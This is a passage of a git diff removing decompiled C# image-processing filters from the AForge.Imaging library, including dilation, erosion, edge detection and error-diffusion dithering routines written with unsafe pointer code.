= (byte*)overlay.ImageData.ToPointer(); - for (int j = 0; j < height; j++) - { - ushort* ptr5 = (ushort*)(ptr3 + (nint)j * (nint)stride); - ushort* ptr6 = (ushort*)(ptr4 + (nint)j * (nint)stride2); - int num9 = 0; - while (num9 < num8) - { - int num6 = *ptr5 - *ptr6; - *ptr5 = ((num6 < 0) ? ((ushort)(-num6)) : ((ushort)num6)); - num9++; - ptr5++; - ptr6++; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/DifferenceEdgeDetector.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/DifferenceEdgeDetector.cs deleted file mode 100644 index 16dd238..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/DifferenceEdgeDetector.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class DifferenceEdgeDetector : BaseUsingCopyPartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public DifferenceEdgeDetector() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage source, UnmanagedImage destination, Rectangle rect) - { - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = num + rect.Width - 2; - int num4 = num2 + rect.Height - 2; - int stride = destination.Stride; - int stride2 = source.Stride; - int num5 = stride - rect.Width + 2; - int num6 = stride2 - rect.Width + 2; - byte* ptr = (byte*)source.ImageData.ToPointer(); - byte* ptr2 = (byte*)destination.ImageData.ToPointer(); - ptr += stride2 * num2 + num; - ptr2 += stride * num2 + num; - for (int i = num2; i < num4; i++) - { - int num7 = num; - while (num7 < num3) - { - int num8 = ptr[-stride2 - 1] - ptr[stride2 + 1]; - if (num8 < 0) - { - num8 = -num8; - } - int num9 = ptr[-stride2 + 1] - ptr[stride2 - 1]; - if (num9 < 0) - { - num9 = -num9; - } - if (num9 > num8) - { - num8 = num9; - } - num9 = ptr[-stride2] - ptr[stride2]; - if (num9 < 0) - { - num9 = -num9; - } - if (num9 > num8) - { - num8 = num9; - } - num9 = ptr[-1] - ptr[1]; - if (num9 < 0) - { - num9 = -num9; - } - if (num9 > num8) - { - num8 = num9; - } - *ptr2 = (byte)num8; - num7++; - ptr++; - ptr2++; - } - ptr += num6; - ptr2 += num5; - } - Drawing.Rectangle(destination, rect, Color.Black); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Dilatation.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Dilatation.cs deleted file mode 100644 index 0e3ea71..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Dilatation.cs +++ /dev/null @@ -1,282 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Dilatation : BaseUsingCopyPartialFilter -{ - private short[,] se = new short[3, 3] - { - { 1, 1, 1 }, - { 1, 1, 1 }, - { 1, 1, 1 } - }; - - private int size = 3; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Dilatation() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - } - - public Dilatation(short[,] se) - : this() - { - int length = se.GetLength(0); - if (length != se.GetLength(1) || length < 3 || length > 99 || length % 2 == 0) - { - throw new ArgumentException("Invalid size of structuring element."); - } - this.se = se; - size = length; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0036: Unknown result type (might be due to invalid IL or missing references) - //IL_003c: Invalid comparison between Unknown and I4 - //IL_0049: Unknown result type (might be due to invalid IL or missing references) - //IL_004f: Invalid comparison between Unknown and I4 - //IL_003e: Unknown result type (might be due to invalid IL or missing references) - //IL_0044: Invalid comparison between Unknown and I4 - //IL_02b3: Unknown result type (might be due to invalid IL or missing references) - //IL_02b9: Invalid comparison between Unknown and I4 - //IL_009d: Unknown result type (might be due to invalid IL or missing references) - //IL_00a3: Invalid comparison between Unknown and I4 - //IL_030f: Unknown result type (might be due to invalid IL or missing references) - //IL_0315: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = sourceData.PixelFormat; - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int num3 = size >> 1; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224) - { - int num4 = (((int)pixelFormat == 198659) ? 1 : 3); - int stride = destinationData.Stride; - int stride2 = sourceData.Stride; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += (nint)left * (nint)num4; - ptr2 += (nint)left * (nint)num4; - if ((int)pixelFormat == 198659) - { - for (int i = top; i < num2; i++) - { - byte* ptr3 = ptr + (nint)i * (nint)stride2; - byte* ptr4 = ptr2 + (nint)i * (nint)stride; - int num5 = left; - while (num5 < num) - { - byte b = 0; - for (int j = 0; j < size; j++) - { - int num6 = j - num3; - int num7 = i + num6; - if (num7 < top) - { - continue; - } - if (num7 >= num2) - { - break; - } - for (int k = 0; k < size; k++) - { - int num8 = k - num3; - num7 = num5 + num8; - if (num7 >= left && num7 < num && se[j, k] == 1) - { - byte b2 = ptr3[num6 * stride2 + num8]; - if (b2 > b) - { - b = b2; - } - } - } - } - *ptr4 = b; - num5++; - ptr3++; - ptr4++; - } - } - return; - } - for (int l = top; l < num2; l++) - { - byte* ptr5 = ptr + (nint)l * (nint)stride2; - byte* ptr6 = ptr2 + (nint)l * (nint)stride; - int num9 = left; - while (num9 < num) - { - byte b4; - byte b5; - byte b3 = (b4 = (b5 = 0)); - for (int m = 0; m < size; m++) - { - int num10 = m - num3; - int num11 = l + num10; - if (num11 < top) - { - continue; - } - if (num11 >= num2) - { - break; - } - for (int n = 0; n < size; n++) - { - int num12 = n - num3; - num11 = num9 + num12; - if (num11 >= left && num11 < num && se[m, n] == 1) - { - byte* ptr7 = ptr5 + (num10 * stride2 + num12 * 3); - byte b6 = ptr7[2]; - if (b6 > b3) - { - b3 = b6; - } - b6 = ptr7[1]; - if (b6 > b4) - { - b4 = b6; - } - b6 = *ptr7; - if (b6 > b5) - { - b5 = b6; - } - } - } - } - ptr6[2] = b3; - ptr6[1] = b4; - *ptr6 = b5; - num9++; - ptr5 += 3; - ptr6 += 3; - } - } - return; - } - int num13 = (((int)pixelFormat == 1052676) ? 1 : 3); - int num14 = destinationData.Stride / 2; - int num15 = sourceData.Stride / 2; - ushort* ptr8 = (ushort*)sourceData.ImageData.ToPointer(); - ushort* ptr9 = (ushort*)destinationData.ImageData.ToPointer(); - ptr8 += left * num13; - ptr9 += left * num13; - if ((int)pixelFormat == 1052676) - { - for (int num16 = top; num16 < num2; num16++) - { - ushort* ptr10 = ptr8 + num16 * num15; - ushort* ptr11 = ptr9 + num16 * num14; - int num17 = left; - while (num17 < num) - { - ushort num18 = 0; - for (int num19 = 0; num19 < size; num19++) - { - int num20 = num19 - num3; - int num21 = num16 + num20; - if (num21 < top) - { - continue; - } - if (num21 >= num2) - { - break; - } - for (int num22 = 0; num22 < size; num22++) - { - int num23 = num22 - num3; - num21 = num17 + num23; - if (num21 >= left && num21 < num && se[num19, num22] == 1) - { - ushort num24 = ptr10[num20 * num15 + num23]; - if (num24 > num18) - { - num18 = num24; - } - } - } - } - *ptr11 = num18; - num17++; - ptr10++; - ptr11++; - } - } - return; - } - for (int num25 = top; num25 < num2; num25++) - { - ushort* ptr12 = ptr8 + num25 * num15; - ushort* ptr13 = ptr9 + num25 * num14; - int num26 = left; - while (num26 < num) - { - ushort num28; - ushort num29; - ushort num27 = (num28 = (num29 = 0)); - for (int num30 = 0; num30 < size; num30++) - { - int num31 = num30 - num3; - int num32 = num25 + num31; - if (num32 < top) - { - continue; - } - if (num32 >= num2) - { - break; - } - for (int num33 = 0; num33 < size; num33++) - { - int num34 = num33 - num3; - num32 = num26 + num34; - if (num32 >= left && num32 < num && se[num30, num33] == 1) - { - ushort* ptr14 = ptr12 + (num31 * num15 + num34 * 3); - ushort num35 = ptr14[2]; - if (num35 > num27) - { - num27 = num35; - } - num35 = ptr14[1]; - if (num35 > num28) - { - num28 = num35; - } - num35 = *ptr14; - if (num35 > num29) - { - num29 = num35; - } - } - } - } - ptr13[2] = num27; - ptr13[1] = num28; - *ptr13 = num29; - num26++; - ptr12 += 3; - ptr13 += 3; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Dilatation3x3.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Dilatation3x3.cs deleted file mode 100644 index db4c7ea..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Dilatation3x3.cs +++ /dev/null @@ -1,250 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Dilatation3x3 : BaseUsingCopyPartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Dilatation3x3() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - if (rect.Width < 3 || rect.Height < 3) - { - throw new InvalidImagePropertiesException("Processing rectangle mast be at least 3x3 in size."); - } - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = rect.Right - 1; - int num4 = rect.Bottom - 1; - int stride = destinationData.Stride; - int stride2 = sourceData.Stride; - int num5 = stride - rect.Width + 1; - int num6 = stride2 - rect.Width + 1; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += num - 1 + (num2 - 1) * stride2; - ptr2 += num - 1 + (num2 - 1) * stride; - byte b = *ptr; - if (ptr[1] > b) - { - b = ptr[1]; - } - if (ptr[stride2] > b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] > b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - ptr++; - ptr2++; - int num7 = num; - while (num7 < num3) - { - b = *ptr; - if (ptr[-1] > b) - { - b = ptr[-1]; - } - if (ptr[1] > b) - { - b = ptr[1]; - } - if (ptr[stride2 - 1] > b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] > b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] > b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - num7++; - ptr++; - ptr2++; - } - b = *ptr; - if (ptr[-1] > b) - { - b = ptr[-1]; - } - if (ptr[stride2 - 1] > b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] > b) - { - b = ptr[stride2]; - } - *ptr2 = b; - ptr += num6; - ptr2 += num5; - for (int i = num2; i < num4; i++) - { - b = *ptr; - if (ptr[1] > b) - { - b = ptr[1]; - } - if (ptr[-stride2] > b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] > b) - { - b = ptr[-stride2 + 1]; - } - if (ptr[stride2] > b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] > b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - ptr++; - ptr2++; - int num8 = num; - while (num8 < num3) - { - b = *ptr; - if (ptr[-1] > b) - { - b = ptr[-1]; - } - if (ptr[1] > b) - { - b = ptr[1]; - } - if (ptr[-stride2 - 1] > b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] > b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] > b) - { - b = ptr[-stride2 + 1]; - } - if (ptr[stride2 - 1] > b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] > b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] > b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - num8++; - ptr++; - ptr2++; - } - b = *ptr; - if (ptr[-1] > b) - { - b = ptr[-1]; - } - if (ptr[-stride2 - 1] > b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] > b) - { - b = ptr[-stride2]; - } - if (ptr[stride2 - 1] > b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] > b) - { - b = ptr[stride2]; - } - *ptr2 = b; - ptr += num6; - ptr2 += num5; - } - *ptr2 = (byte)(*ptr | ptr[1] | ptr[-stride2] | ptr[-stride2 + 1]); - b = *ptr; - if (ptr[1] > b) - { - b = ptr[1]; - } - if (ptr[-stride2] > b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] > b) - { - b = ptr[-stride2 + 1]; - } - *ptr2 = b; - ptr++; - ptr2++; - int num9 = num; - while (num9 < num3) - { - b = *ptr; - if (ptr[-1] > b) - { - b = ptr[-1]; - } - if (ptr[1] > b) - { - b = ptr[1]; - } - if (ptr[-stride2 - 1] > b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] > b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] > b) - { - b = ptr[-stride2 + 1]; - } - *ptr2 = b; - num9++; - ptr++; - ptr2++; - } - b = *ptr; - if (ptr[-1] > b) - { - b = ptr[-1]; - } - if (ptr[-stride2 - 1] > b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] > b) - { - b = ptr[-stride2]; - } - *ptr2 = b; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Edges.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Edges.cs deleted file mode 100644 index 8b94118..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Edges.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.Filters; - -public sealed class Edges : Convolution -{ - public Edges() - : base(new int[3, 3] - { - { 0, -1, 0 }, - { -1, 4, -1 }, - { 0, -1, 0 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Erosion.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Erosion.cs deleted file mode 100644 index 8a797ce..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Erosion.cs +++ /dev/null @@ -1,282 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Erosion : BaseUsingCopyPartialFilter -{ - private short[,] se = new short[3, 3] - { - { 1, 1, 1 }, - { 1, 1, 1 }, - { 1, 1, 1 } - }; - - private int size = 3; - - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Erosion() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - formatTranslations[(PixelFormat)137224] = (PixelFormat)137224; - formatTranslations[(PixelFormat)1052676] = (PixelFormat)1052676; - formatTranslations[(PixelFormat)1060876] = (PixelFormat)1060876; - } - - public Erosion(short[,] se) - : this() - { - int length = se.GetLength(0); - if (length != se.GetLength(1) || length < 3 || length > 99 || length % 2 == 0) - { - throw new ArgumentException("Invalid size of structuring element."); - } - this.se = se; - size = length; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0036: Unknown result type (might be due to invalid IL or missing references) - //IL_003c: Invalid comparison between Unknown and I4 - //IL_0049: Unknown result type (might be due to invalid IL or missing references) - //IL_004f: Invalid comparison between Unknown and I4 - //IL_003e: Unknown result type (might be due to invalid IL or missing references) - //IL_0044: Invalid comparison between Unknown and I4 - //IL_02bb: Unknown result type (might be due to invalid IL or missing references) - //IL_02c1: Invalid comparison between Unknown and I4 - //IL_009d: Unknown result type (might be due to invalid IL or missing references) - //IL_00a3: Invalid comparison between Unknown and I4 - //IL_0317: Unknown result type (might be due to invalid IL or missing references) - //IL_031d: Invalid comparison between Unknown and I4 - PixelFormat pixelFormat = sourceData.PixelFormat; - int left = rect.Left; - int top = rect.Top; - int num = left + rect.Width; - int num2 = top + rect.Height; - int num3 = size >> 1; - if ((int)pixelFormat == 198659 || (int)pixelFormat == 137224) - { - int num4 = (((int)pixelFormat == 198659) ? 1 : 3); - int stride = destinationData.Stride; - int stride2 = sourceData.Stride; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += (nint)left * (nint)num4; - ptr2 += (nint)left * (nint)num4; - if ((int)pixelFormat == 198659) - { - for (int i = top; i < num2; i++) - { - byte* ptr3 = ptr + (nint)i * (nint)stride2; - byte* ptr4 = ptr2 + (nint)i * (nint)stride; - int num5 = left; - while (num5 < num) - { - byte b = byte.MaxValue; - for (int j = 0; j < size; j++) - { - int num6 = j - num3; - int num7 = i + num6; - if (num7 < top) - { - continue; - } - if (num7 >= num2) - { - break; - } - for (int k = 0; k < size; k++) - { - int num8 = k - num3; - num7 = num5 + num8; - if (num7 >= left && num7 < num && se[j, k] == 1) - { - byte b2 = ptr3[num6 * stride2 + num8]; - if (b2 < b) - { - b = b2; - } - } - } - } - *ptr4 = b; - num5++; - ptr3++; - ptr4++; - } - } - return; - } - for (int l = top; l < num2; l++) - { - byte* ptr5 = ptr + (nint)l * (nint)stride2; - byte* ptr6 = ptr2 + (nint)l * (nint)stride; - int num9 = left; - while (num9 < num) - { - byte b4; - byte b5; - byte b3 = (b4 = (b5 = byte.MaxValue)); - for (int m = 0; m < size; m++) - { - int num10 = m - num3; - int num11 = l + num10; - if (num11 < top) - { - continue; - } - if (num11 >= num2) - { - break; - } - for (int n = 0; n < size; n++) - { - int num12 = n - num3; - num11 = num9 + num12; - if (num11 >= left && num11 < num && se[m, n] == 1) - { - byte* ptr7 = ptr5 + (num10 * stride2 + num12 * 3); - byte b6 = ptr7[2]; - if (b6 < b3) - { - b3 = b6; - } - b6 = ptr7[1]; - if (b6 < b4) - { - b4 = b6; - } - b6 = *ptr7; - if (b6 < b5) - { - b5 = b6; - } - } - } - } - ptr6[2] = b3; - ptr6[1] = b4; - *ptr6 = b5; - num9++; - ptr5 += 3; - ptr6 += 3; - } - } - return; - } - int num13 = (((int)pixelFormat == 1052676) ? 1 : 3); - int num14 = destinationData.Stride / 2; - int num15 = sourceData.Stride / 2; - ushort* ptr8 = (ushort*)sourceData.ImageData.ToPointer(); - ushort* ptr9 = (ushort*)destinationData.ImageData.ToPointer(); - ptr8 += left * num13; - ptr9 += left * num13; - if ((int)pixelFormat == 1052676) - { - for (int num16 = top; num16 < num2; num16++) - { - ushort* ptr10 = ptr8 + num16 * num15; - ushort* ptr11 = ptr9 + num16 * num14; - int num17 = left; - while (num17 < num) - { - ushort num18 = ushort.MaxValue; - for (int num19 = 0; num19 < size; num19++) - { - int num20 = num19 - num3; - int num21 = num16 + num20; - if (num21 < top) - { - continue; - } - if (num21 >= num2) - { - break; - } - for (int num22 = 0; num22 < size; num22++) - { - int num23 = num22 - num3; - num21 = num17 + num23; - if (num21 >= left && num21 < num && se[num19, num22] == 1) - { - ushort num24 = ptr10[num20 * num15 + num23]; - if (num24 < num18) - { - num18 = num24; - } - } - } - } - *ptr11 = num18; - num17++; - ptr10++; - ptr11++; - } - } - return; - } - for (int num25 = top; num25 < num2; num25++) - { - ushort* ptr12 = ptr8 + num25 * num15; - ushort* ptr13 = ptr9 + num25 * num14; - int num26 = left; - while (num26 < num) - { - ushort num28; - ushort num29; - ushort num27 = (num28 = (num29 = ushort.MaxValue)); - for (int num30 = 0; num30 < size; num30++) - { - int num31 = num30 - num3; - int num32 = num25 + num31; - if (num32 < top) - { - continue; - } - if (num32 >= num2) - { - break; - } - for (int num33 = 0; num33 < size; num33++) - { - int num34 = num33 - num3; - num32 = num26 + num34; - if (num32 >= left && num32 < num && se[num30, num33] == 1) - { - ushort* ptr14 = ptr12 + (num31 * num15 + num34 * 3); - ushort num35 = ptr14[2]; - if (num35 < num27) - { - num27 = num35; - } - num35 = ptr14[1]; - if (num35 < num28) - { - num28 = num35; - } - num35 = *ptr14; - if (num35 < num29) - { - num29 = num35; - } - } - } - } - ptr13[2] = num27; - ptr13[1] = num28; - *ptr13 = num29; - num26++; - ptr12 += 3; - ptr13 += 3; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Erosion3x3.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Erosion3x3.cs deleted file mode 100644 index 0d25f7e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/Erosion3x3.cs +++ /dev/null @@ -1,250 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class Erosion3x3 : BaseUsingCopyPartialFilter -{ - private Dictionary formatTranslations = new Dictionary(); - - public override Dictionary FormatTranslations => formatTranslations; - - public Erosion3x3() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe override void ProcessFilter(UnmanagedImage sourceData, UnmanagedImage destinationData, Rectangle rect) - { - if (rect.Width < 3 || rect.Height < 3) - { - throw new InvalidImagePropertiesException("Processing rectangle mast be at least 3x3 in size."); - } - int num = rect.Left + 1; - int num2 = rect.Top + 1; - int num3 = rect.Right - 1; - int num4 = rect.Bottom - 1; - int stride = destinationData.Stride; - int stride2 = sourceData.Stride; - int num5 = stride - rect.Width + 1; - int num6 = stride2 - rect.Width + 1; - byte* ptr = (byte*)sourceData.ImageData.ToPointer(); - byte* ptr2 = (byte*)destinationData.ImageData.ToPointer(); - ptr += num - 1 + (num2 - 1) * stride2; - ptr2 += num - 1 + (num2 - 1) * stride; - byte b = *ptr; - if (ptr[1] < b) - { - b = ptr[1]; - } - if (ptr[stride2] < b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] < b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - ptr++; - ptr2++; - int num7 = num; - while (num7 < num3) - { - b = *ptr; - if (ptr[-1] < b) - { - b = ptr[-1]; - } - if (ptr[1] < b) - { - b = ptr[1]; - } - if (ptr[stride2 - 1] < b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] < b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] < b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - num7++; - ptr++; - ptr2++; - } - b = *ptr; - if (ptr[-1] < b) - { - b = ptr[-1]; - } - if (ptr[stride2 - 1] < b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] < b) - { - b = ptr[stride2]; - } - *ptr2 = b; - ptr += num6; - ptr2 += num5; - for (int i = num2; i < num4; i++) - { - b = *ptr; - if (ptr[1] < b) - { - b = ptr[1]; - } - if (ptr[-stride2] < b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] < b) - { - b = ptr[-stride2 + 1]; - } - if (ptr[stride2] < b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] < b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - ptr++; - ptr2++; - int num8 = num; - while (num8 < num3) - { - b = *ptr; - if (ptr[-1] < b) - { - b = ptr[-1]; - } - if (ptr[1] < b) - { - b = ptr[1]; - } - if (ptr[-stride2 - 1] < b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] < b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] < b) - { - b = ptr[-stride2 + 1]; - } - if (ptr[stride2 - 1] < b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] < b) - { - b = ptr[stride2]; - } - if (ptr[stride2 + 1] < b) - { - b = ptr[stride2 + 1]; - } - *ptr2 = b; - num8++; - ptr++; - ptr2++; - } - b = *ptr; - if (ptr[-1] < b) - { - b = ptr[-1]; - } - if (ptr[-stride2 - 1] < b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] < b) - { - b = ptr[-stride2]; - } - if (ptr[stride2 - 1] < b) - { - b = ptr[stride2 - 1]; - } - if (ptr[stride2] < b) - { - b = ptr[stride2]; - } - *ptr2 = b; - ptr += num6; - ptr2 += num5; - } - *ptr2 = (byte)(*ptr | ptr[1] | ptr[-stride2] | ptr[-stride2 + 1]); - b = *ptr; - if (ptr[1] < b) - { - b = ptr[1]; - } - if (ptr[-stride2] < b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] < b) - { - b = ptr[-stride2 + 1]; - } - *ptr2 = b; - ptr++; - ptr2++; - int num9 = num; - while (num9 < num3) - { - b = *ptr; - if (ptr[-1] < b) - { - b = ptr[-1]; - } - if (ptr[1] < b) - { - b = ptr[1]; - } - if (ptr[-stride2 - 1] < b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] < b) - { - b = ptr[-stride2]; - } - if (ptr[-stride2 + 1] < b) - { - b = ptr[-stride2 + 1]; - } - *ptr2 = b; - num9++; - ptr++; - ptr2++; - } - b = *ptr; - if (ptr[-1] < b) - { - b = ptr[-1]; - } - if (ptr[-stride2 - 1] < b) - { - b = ptr[-stride2 - 1]; - } - if (ptr[-stride2] < b) - { - b = ptr[-stride2]; - } - *ptr2 = b; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ErrorDiffusionDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ErrorDiffusionDithering.cs deleted file mode 100644 index de3cca5..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ErrorDiffusionDithering.cs +++ /dev/null @@ -1,82 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public abstract class ErrorDiffusionDithering : BaseInPlacePartialFilter -{ - private byte threshold = 128; - - protected int x; - - protected int y; - - protected int startX; - - protected int startY; - - protected int stopX; - - protected int stopY; - - protected int stride; - - private Dictionary formatTranslations = new Dictionary(); - - public byte ThresholdValue - { - get - { - return threshold; - } - set - { - threshold = value; - } - } - - public override Dictionary FormatTranslations => formatTranslations; - - protected ErrorDiffusionDithering() - { - formatTranslations[(PixelFormat)198659] = (PixelFormat)198659; - } - - protected unsafe abstract void Diffuse(int error, byte* ptr); - - protected unsafe override void ProcessFilter(UnmanagedImage image, Rectangle rect) - { - startX = rect.Left; - startY = rect.Top; - stopX = startX + rect.Width; - stopY = startY + rect.Height; - stride = image.Stride; - int num = stride - rect.Width; - byte* ptr = (byte*)image.ImageData.ToPointer(); - ptr += startY * stride + startX; - for (y = startY; y < stopY; y++) - { - x = startX; - while (x < stopX) - { - int num2 = *ptr; - int error; - if (num2 >= threshold) - { - *ptr = byte.MaxValue; - error = num2 - 255; - } - else - { - *ptr = 0; - error = num2; - } - Diffuse(error, ptr); - x++; - ptr++; - } - ptr += num; - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ErrorDiffusionToAdjacentNeighbors.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ErrorDiffusionToAdjacentNeighbors.cs deleted file mode 100644 index e14e2fe..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/ErrorDiffusionToAdjacentNeighbors.cs +++ /dev/null @@ -1,83 +0,0 @@ -namespace AForge.Imaging.Filters; - -public class ErrorDiffusionToAdjacentNeighbors : ErrorDiffusionDithering -{ - private int[][] coefficients; - - private int coefficientsSum; - - public int[][] Coefficients - { - get - { - return coefficients; - } - set - { - coefficients = value; - CalculateCoefficientsSum(); - } - } - - public ErrorDiffusionToAdjacentNeighbors(int[][] coefficients) - { - this.coefficients = coefficients; - CalculateCoefficientsSum(); - } - - protected unsafe override void Diffuse(int error, byte* ptr) - { - int[] array = coefficients[0]; - int num = 1; - int i = 0; - for (int num2 = array.Length; i < num2; i++) - { - if (x + num >= stopX) - { - break; - } - int num3 = ptr[num] + error * array[i] / coefficientsSum; - num3 = ((num3 >= 0) ? ((num3 > 255) ? 255 : num3) : 0); - ptr[num] = (byte)num3; - num++; - } - int j = 1; - for (int num4 = coefficients.Length; j < num4 && y + j < stopY; j++) - { - ptr += stride; - array = coefficients[j]; - int k = 0; - int num5 = array.Length; - int num6 = -(num5 >> 1); - for (; k < num5; k++) - { - if (x + num6 >= stopX) - { - break; - } - if (x + num6 >= startX) - { - int num3 = ptr[num6] + error * array[k] / coefficientsSum; - num3 = ((num3 >= 0) ? ((num3 > 255) ? 255 : num3) : 0); - ptr[num6] = (byte)num3; - } - num6++; - } - } - } - - private void CalculateCoefficientsSum() - { - coefficientsSum = 0; - int i = 0; - for (int num = coefficients.Length; i < num; i++) - { - int[] array = coefficients[i]; - int j = 0; - for (int num2 = array.Length; j < num2; j++) - { - coefficientsSum += array[j]; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/EuclideanColorFiltering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/EuclideanColorFiltering.cs deleted file mode 100644 index d92a01e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Filters/EuclideanColorFiltering.cs +++ /dev/null @@ -1,132 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Filters; - -public class EuclideanColorFiltering : BaseInPlacePartialFilter -{ - private short radius = 100; - - private RGB center = new RGB(byte.MaxValue, byte.MaxValue, byte.MaxValue); - - private RGB fill = new 